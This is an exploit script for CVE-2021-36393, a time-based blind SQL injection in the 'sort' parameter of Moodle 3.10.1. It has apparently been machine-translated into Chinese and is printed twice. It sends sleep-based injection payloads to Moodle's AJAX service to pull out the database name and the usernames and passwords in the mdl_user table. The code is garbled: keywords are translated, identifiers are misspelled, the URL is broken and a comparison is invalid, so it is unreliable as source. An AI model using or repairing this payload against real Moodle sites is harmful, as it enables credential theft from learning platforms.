#利用title: Moodle身份验证的基于时间的盲sql注入- “排序”参数
#Google Dork:
#date: 04/11/2023
#利用作者:JulioángelFerrari(又名T0X1CX)
#供应商homepage3360 https://moodle.org/
#软件link:
#版本: 3.10.1
#在: Linux上测试
#CVE : CVE-2021-36393
导入请求
导入字符串
从TermColor导入彩色
#请求详细信息
url='http://127.0.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=zt0e6j0xweinfo=core_course_get_enrolled_enrollled_courses_courses_courses_by_timeline_classification'timeline_classification''''
标题={
'Accept':'应用程序/JSON,text/javaScript, /; Q=0.01',
'content-type':'应用程序/json',
'x-重新quested-with':'xmlhttprequest',
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,例如Gecko)Chrome/114.0.5735.91
'Origin':'http://127.0.0.1:8080',
'参考器:'http://127.0.0.0.1:8080/moodle/my/',
'接受编码:'gzip,deflate',
'Accept-Language':'En-US,en; q=0.9',
'cookie':'moodlesession=5b1rk2pfdpbcq2i5hmmern1os0',
'Connection':'关闭'
}
#要测试的字符
tarne_to_test=string.scii_lowercase + string.ascii_uppercase + string.digits +'!@#$^*()-_=+ [] {] {} |;'\'\'',/''
def test_character(有效载荷):
响应=requests.post(url,headers=标题,json=[有效载荷])
返回响应。elapsed.total_seconds()=3
def extract_value(列,标签):
base_payload={
'index': 0,
'MethodName':'core_course_get_enrolled_courses_by_timeline_classification',
'args': {
'offset': 0,
'limit': 0,
“分类” :'全部',
'sort':'',
'CustomFieldName':'',
'CustomFieldValue':''
}
}
结果=''
对于_在范围(50):#中,该值最多为50个字符
targin_found=false
对于字符中的字符_to_test:
如果列=='数据库()':
base_payload ['args'] ['sort']=f'fullname或(database()),例如'{result + targin}%'and sleep(3)'
其他:
base_payload ['args'] ['sort']=f'fullname或(从mdl_user limit 1 offset 0)类似于'{result + targin}%'和sleep(3)'
如果test_character(base_payload):
结果+=字符
print(colored(f'{label} : {result}','red'),end='\ r')
targin_found=true
休息
如果不是targin_found:
休息
#打印最终结果
print(colored(f'{label} : {result}','red'))
如果name=='__ -Main __':
extract_value('database()','database')
extract_value('用户名','用户名')
extract_value('密码','密码')
#Google Dork:
#date: 04/11/2023
#利用作者:JulioángelFerrari(又名T0X1CX)
#供应商homepage3360 https://moodle.org/
#软件link:
#版本: 3.10.1
#在: Linux上测试
#CVE : CVE-2021-36393
导入请求
导入字符串
从TermColor导入彩色
#请求详细信息
url='http://127.0.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=zt0e6j0xweinfo=core_course_get_enrolled_enrollled_courses_courses_courses_by_timeline_classification'timeline_classification''''
标题={
'Accept':'应用程序/JSON,text/javaScript, /; Q=0.01',
'content-type':'应用程序/json',
'x-重新quested-with':'xmlhttprequest',
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,例如Gecko)Chrome/114.0.5735.91
'Origin':'http://127.0.0.1:8080',
'参考器:'http://127.0.0.0.1:8080/moodle/my/',
'接受编码:'gzip,deflate',
'Accept-Language':'En-US,en; q=0.9',
'cookie':'moodlesession=5b1rk2pfdpbcq2i5hmmern1os0',
'Connection':'关闭'
}
#要测试的字符
tarne_to_test=string.scii_lowercase + string.ascii_uppercase + string.digits +'!@#$^*()-_=+ [] {] {} |;'\'\'',/''
def test_character(有效载荷):
响应=requests.post(url,headers=标题,json=[有效载荷])
返回响应。elapsed.total_seconds()=3
def extract_value(列,标签):
base_payload={
'index': 0,
'MethodName':'core_course_get_enrolled_courses_by_timeline_classification',
'args': {
'offset': 0,
'limit': 0,
“分类” :'全部',
'sort':'',
'CustomFieldName':'',
'CustomFieldValue':''
}
}
结果=''
对于_在范围(50):#中,该值最多为50个字符
targin_found=false
对于字符中的字符_to_test:
如果列=='数据库()':
base_payload ['args'] ['sort']=f'fullname或(database()),例如'{result + targin}%'and sleep(3)'
其他:
base_payload ['args'] ['sort']=f'fullname或(从mdl_user limit 1 offset 0)类似于'{result + targin}%'和sleep(3)'
如果test_character(base_payload):
结果+=字符
print(colored(f'{label} : {result}','red'),end='\ r')
targin_found=true
休息
如果不是targin_found:
休息
#打印最终结果
print(colored(f'{label} : {result}','red'))
如果name=='__ -Main __':
extract_value('database()','database')
extract_value('用户名','用户名')
extract_value('密码','密码')